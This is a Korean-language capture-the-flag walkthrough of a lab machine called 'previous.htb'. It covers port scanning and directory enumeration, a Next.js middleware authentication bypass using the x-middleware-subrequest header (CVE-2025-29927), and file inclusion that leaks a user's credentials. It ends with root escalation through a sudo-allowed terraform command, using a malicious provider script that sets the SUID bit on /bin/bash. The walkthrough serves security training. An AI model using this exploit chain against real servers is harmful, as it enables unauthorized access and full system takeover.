INFORMATION GATHERING

PORT SCANNING

  • 개방된 TCP 포트 : 22, 80
ζ nmap -p- -sC -sV -T4 -oN 10.129.242.162_TCP 10.129.242.162
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-27 18:15 KST
Nmap scan report for 10.129.242.162
Host is up (0.25s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
|_  256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 284.61 seconds
 
[ . . . ]
 
ζ nmap -sU -sV -Pn -n --top-ports 100 -T4 -oN 10.129.242.162_UDP 10.129.242.162
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-27 18:16 KST
Warning: 10.129.242.162 giving up on port because retransmission cap hit (6).
Nmap scan report for 10.129.242.162
Host is up (0.25s latency).
Not shown: 91 closed udp ports (port-unreach)
PORT      STATE         SERVICE        VERSION
68/udp    open|filtered dhcpc
69/udp    open|filtered tftp
111/udp   open|filtered rpcbind
1645/udp  open|filtered radius
1719/udp  open|filtered h323gatestat
5000/udp  open|filtered upnp
5632/udp  open|filtered pcanywherestat
32768/udp open|filtered omad
49188/udp open|filtered unknown
 
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 193.49 seconds

PORT 80

  • 80번 포트 접근 후 Wappalyzer 확인 시 Next.js 15.2.2 버전을 사용하고 있는 것을 확인했다.

DIRECTORY ENUMERATION

  • 위 취약점을 이용하기 위해 디렉토리 및 서브도메인 열거를 진행하였다.
ζ gobuster dir -u http://previous.htb -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -t 25
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://previous.htb
[+] Method:                  GET
[+] Threads:                 25
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/api                  (Status: 307) [Size: 35] [--> /api/auth/signin?callbackUrl=%2Fapi]
/docs                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fdocs]
/signin               (Status: 200) [Size: 3481]
/api-doc              (Status: 307) [Size: 39] [--> /api/auth/signin?callbackUrl=%2Fapi-doc]
/apis                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapis]
/api_test             (Status: 307) [Size: 40] [--> /api/auth/signin?callbackUrl=%2Fapi_test]
/docs2                (Status: 307) [Size: 37] [--> /api/auth/signin?callbackUrl=%2Fdocs2]
/api3                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapi3]
/api4                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapi4]
/api2                 (Status: 307) [Size: 36] [--> /api/auth/signin?callbackUrl=%2Fapi2]
/docsearch            (Status: 307) [Size: 41] [--> /api/auth/signin?callbackUrl=%2Fdocsearch]
/docstore             (Status: 307) [Size: 40] [--> /api/auth/signin?callbackUrl=%2Fdocstore]
Progress: 29999 / 29999 (100.00%)
===============================================================
Finished
===============================================================

EXPLOIT - CVE-2025-29927

  • 발견한 경로로 직접 접근을 시도하면 /api/auth/signin 경로로 리다이렉트 된다.
ζ curl -i http://previous.htb/docs
HTTP/1.1 307 Temporary Redirect
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 28 Dec 2025 13:16:29 GMT
Transfer-Encoding: chunked
Connection: keep-alive
location: /api/auth/signin?callbackUrl=%2Fdocs
 
/api/auth/signin?callbackUrl=%2Fdocs#

  • 요청 시 헤더(x-middleware-subrequest)를 추가하여 패킷을 전달하면 권한 검증 로직을 우회하여 해당 자원에 접근할 수 있었다.
ζ curl -i -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware:middleware:middleware" http://previous.htb/docs
HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sun, 28 Dec 2025 13:18:27 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 3353
Connection: keep-alive
X-Powered-By: Next.js
ETag: "rjw2ginkod2l1"
Vary: Accept-Encoding
 
<!DOCTYPE html><html><head><meta charSet="utf-8" data-next-head=""/><meta name="viewport" content="width=device-width" data-next-head=""/><title data-next-head="">PreviousJS Docs</title><link rel="preload" href="/_next/static/css/9a1ff1f4870b5a50.css" as="style"/><link rel="stylesheet" href="/_next/static/css/9a1ff1f4870b5a50.css" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/_next/static/chunks/polyfills-42372ed130431b0a.js"></script><script src="/_next/static/chunks/webpack-cb370083d4f9953f.js" defer=""></script><script src="/_next/static/chunks/framework-ee17a4c43a44d3e2.js" defer=""></script><script src="/_next/static/chunks/main-0221d9991a31a63c.js" defer=""></script><script src="/_next/static/chunks/pages/_app-95f33af851b6322a.js" defer=""></script><script src="/_next/static/chunks/8-fd0c493a642e766e.js" defer=""></script><script src="/_next/static/chunks/0-c54fcec2d27b858d.js" defer=""></script><script src="/_next/static/chunks/pages/docs-5f6acb8b3a59fb7f.js" defer=""></script><script src="/_next/static/7-qBEQBKVgCxQr3ZJ-vvY/_buildManifest.js" defer=""></script><script src="/_next/static/7-qBEQBKVgCxQr3ZJ-vvY/_ssgManifest.js" defer=""></script></head><body><div id="__next"><div class="flex min-h-screen bg-white"><div class="sticky top-0 h-screen w-64 border-r bg-gray-50 p-6"><h2 class="mb-6 text-lg font-semibold">PreviousJS</h2><nav><ul class="space-y-2"><li><a class="block rounded px-3 py-2 text-sm transition-colors text-gray-600 hover:bg-gray-100" href="/docs/getting-started">Getting Started</a></li><li><a class="block rounded px-3 py-2 text-sm transition-colors text-gray-600 hover:bg-gray-100" href="/docs/examples">Examples</a></li></ul></nav></div><main class="flex-1 p-8 lg:px-12 lg:py-10"><article class="prose prose-slate max-w-none"><h1>Documentation Overview</h1><p class="lead">Welcome to the documentation for PreviousJS. Get started with our comprehensive guides and API references.</p><div class="not-prose mt-8 grid gap-4 sm:grid-cols-2"><div class="rounded-lg border p-6"><h3 class="mb-2 text-lg font-semibold">Getting Started</h3><p class="mb-4 text-gray-600">New to PreviousJS? Begin here with basic setup and fundamental concepts.</p><a href="/docs/getting-started" class="text-blue-600 hover:underline">Start learning</a></div><div class="rounded-lg border p-6"><h3 class="mb-2 text-lg font-semibold">Examples</h3><p class="mb-4 text-gray-600">Detailed examples.</p><a href="/docs/api-reference" class="text-blue-600 hover:underline">Explore examples</a></div></div><div class="mt-8 border-t pt-8"><h2>Latest Updates</h2><ul class="text-sm text-gray-600"><li class="mt-2">v1.2.0 - Feat: middleware is now opt-out!</li><li class="mt-2">v1.1.4 - Improved TypeScript support</li><li class="mt-2">v1.1.0 - Performance optimizations</li></ul></div></article></main><div class="fixed top-0 right-0 p-4 bg-gray-100 border-t border-gray-200 shadow-md"><p class="text-sm text-gray-600">Logged in as <b>???</b></p><a href="#" class="cursor-pointer text-sm text-blue-600 hover:text-blue-800 underline">Sign out</a></div></div></div><script id="__NEXT_DATA__" type="application/json">{"props":{"pageProps":{}},"page":"/docs","query":{},"buildId":"7-qBEQBKVgCxQr3ZJ-vvY","nextExport":true,"autoExport":true,"isFallback":false,"scriptLoader":[]}</script></body></html>#

  • 편의를 위해 버프스위트 프록시 도구를 사용하여 웹 서비스 접근 시 헤더가 자동으로 추가되도록 설정한다.

  • 이후 /docs/examples 경로에서 /api/download 엔드포인트 URL을 획득했다.

  • /api/download API를 통해 서버에 임의의 파일 다운로드를 요청할 수 있었으며,
  • CVE 취약점에 의해 권한 검증을 우회하여 LFI 취약점 트리거가 가능했다.

INITIAL ACCESS

  • LFI 취약점을 이용하여 사용자의 개인키 탈취 후 원격 접속을 시도한다.
    • (1) 대상 호스트에 존재하는 계정 정보 수집
    • (2) 개인키 파일(/home/{유저명}/.ssh/{개인키 파일}) 수집을 시도했으나 실패했다.

  • 추가 정보 수집을 위해 현재 웹 서비스를 운영중인 계정의 환경변수를 확인한다.
    • 리눅스 환경에서 현재 계정의 환경변수는 /proc/self/environ 경로에서 확인 가능하다.
  • 이를 통해, 현재 웹 서비스는 “nextjs” 사용자에 의해 실행되고 있음을 확인했다.
    • 노드 버전 정보, 포트 정보, 작업 디렉토리(PWD) 및 환경 정보 등을 획득

  • Next.Js 에서 NextAuth 를 이용한 인증은 아래 경로에서 설정된다고 한다.
  • 이 설정은 라우트 경로 설정 파일(/app/.next/routes-manifest.json)에서도 확인이 가능하다.

  • NextJs 는 빌드 시에 .next 폴더가 생성되는데 이 때 아래와 같이 파일들이 생성된다고 한다.
    • Pages Router API 라우트 → .next/server/pages/api/... 아래로 컴파일
    • (App Router route handler는) .next/server/app/.../route.js 쪽에 생김
  • 이 정보를 토대로 /api/auth/[...nextauth] 경로에 접근 후 계정정보를 획득했다. (jeremy / MyNameIsJeremyAndILovePancakes)


INITIAL ACCESS

  • 획득한 계정정보로 jeremy 계정으로 접속에 성공했다.
    • (jeremy / MyNameIsJeremyAndILovePancakes)

  • 유저 플래그(/home/jeremy/user.txt) 확인


POST EXPLOIT

INTERNAL RECONNAISSANCE

  • 후속 공격 → 권한 상승을 위해 대상 호스트 내부 정보를 수집한다.
  • 이 과정에서 sudo 실행 가능한 /usr/bin/terraform ... 바이너리를 확인했다.
    • jeremy 사용자가 /opt/examples 디렉터리에서 terraform applyroot 권한으로 실행 가능
jeremy@previous:/$ sudo -l
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply

PRIVILEGE ESCALATION


STEP 1. Identify Terraform Provider Name

  • (Provider Name) previous.htb
jeremy@previous:~/docker/previous$ cat /opt/examples/*.tf
terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}
 
variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"
 
  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}
 
provider "examples" {}
 
resource "examples_example" "example" {
  source_path = var.source_path
}
 
output "destination_path" {
  value = examples_example.example.destination_path
}

STEP 2. Create a Malicious Terraform Provider Script

  • /bin/bash SUID를 재설정 페이로드가 담긴 악성 파일 생성
    • 파일 생성 후 실행 권한을 부여해줘야 정상적으로 동작한다.
jeremy@previous:~/docker/previous$ cat > /tmp/terraform-provider-examples << 'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF

3. Create a Terraform Configuration Override

jeremy@previous:~/docker/previous$ cat > /tmp/dollarboysushil.rc << 'EOF'
provider_installation {
  dev_overrides {
    "previous.htb/terraform/examples" = "/tmp"
  }
  direct {}
}
EOF
 
jeremy@previous:~/docker/previous$ export TF_CLI_CONFIG_FILE=/tmp/dollarboysushil.rc

4. Run Terraform as Root

jeremy@previous:/opt/examples$ sudo /usr/bin/terraform -chdir=/opt/examples apply

 Warning: Provider development overrides are in effect

 The following provider development overrides are set in the CLI configuration:
  - previous.htb/terraform/examples in /tmp

 The behavior may therefore not match any released version of the provider and applying changes may cause the state to become
 incompatible with published releases.


 Error: Failed to load plugin schemas

 Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider
 previous.htb/terraform/examples: failed to instantiate provider "previous.htb/terraform/examples" to obtain schema: Unrecognized
 remote plugin message:
 Failed to read any lines from plugin's stdout
│ This usually means
│   the plugin was not compiled for this architecture,
│   the plugin is missing dynamic-link libraries necessary to run,
│   the plugin is not executable by this process due to file permissions, or
│   the plugin failed to negotiate the initial go-plugin protocol handshake

│ Additional notes about plugin:
│   Path: /tmp/terraform-provider-examples
│   Mode: -rwxrwxr-x
│   Owner: 1000 [jeremy] (current: 0 [root])
│   Group: 1000 [jeremy] (current: 0 [root])
│ ..

  • /usr/bin/bash 바이너리 권한 확인 시 SUID 비트가 정상적으로 설정되었다.

5. Get a Root Shell

  • 루트 쉘 실행 후 루트 플래그(/root/root.txt) 확인

REFERENCE

  1. https://github.com/kOaDT/poc-cve-2025-29927/tree/main#
  2. https://velog.io/@jay/CVE-2025-29927
  3. https://github.com/dollarboysushil/Privilege-Escalation-PoC-Terraform-sudo-Exploit/blob/main/README.md